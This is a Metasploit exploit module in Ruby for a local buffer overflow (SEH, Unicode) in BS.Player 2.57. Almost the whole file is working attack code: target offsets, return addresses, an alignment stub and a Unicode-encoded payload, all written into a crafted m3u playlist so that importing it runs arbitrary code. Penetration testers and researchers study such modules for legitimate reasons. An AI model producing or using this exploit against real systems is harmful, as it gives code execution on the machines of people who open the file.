BS.Player 2.57 - Local Buffer Overflow (SEH Unicode) (Metasploit)

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
			'Description'	=> %q{
					This module exploits a buffer overflow in BS.Player 2.57. When
					the playlist import is used to import a specially crafted m3u file,
					a buffer overflow occurs allowing arbitrary code execution.
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'C4SS!0 G0M3S ', # Original Exploit
					'Chris Gabriel', # MSF Module
					#Greets: Corelan team for mona.py & awesome tutorials
				],
			'References'	=>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process',
					#'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'Space' => 2000,
					'BadChars' => "\x00\x0a\x0d\x1a\x80",
					'DisableNops' => true,
					'StackAdjustment' => -3500,
				},

			'Targets'		=>
				[
					[ 'Windows XP',
						{
							'Ret'   	=>	"\x2f\x49",
							'Offset'	=>	4102
						}
					], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
					
					[ 'Windows 7',
						{
							'Ret'   	=>	"\x2f\x49",
							'Offset'	=>	4102
						}
					], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
				],
			'Privileged'	=> false,
			'DisclosureDate'	=> 'Jan 07 2010',
			'DefaultTarget'	=> 0))

		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)

	end

	def exploit

		nseh = "\x61\x42"

		align   = "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX	
		align  += "\x6d"                # PAD
		align  += "\x58"                # POP EAX
		align  += "\x6d"                # PAD
		align  += "\x50"                # PUSH EAX
		align  += "\x6d"                # PAD
		align  += "\xc3"                # RET

		if target == targets[0] then
			padding = rand_text_alpha_lower(1879)
		elsif target == targets[1] then
			padding = rand_text_alpha_lower(1931)
		end

		enc = framework.encoders.create('x86/unicode_mixed')

		register_to_align_to = "EAX"

		enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })

		unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
		
		buffer  = "http://"
		buffer << rand_text_alpha_lower(target['Offset'])
		buffer << nseh
		buffer << target['Ret']
		buffer << align
		buffer << padding
		buffer << unicodepayload

		file_create(buffer)

	end
end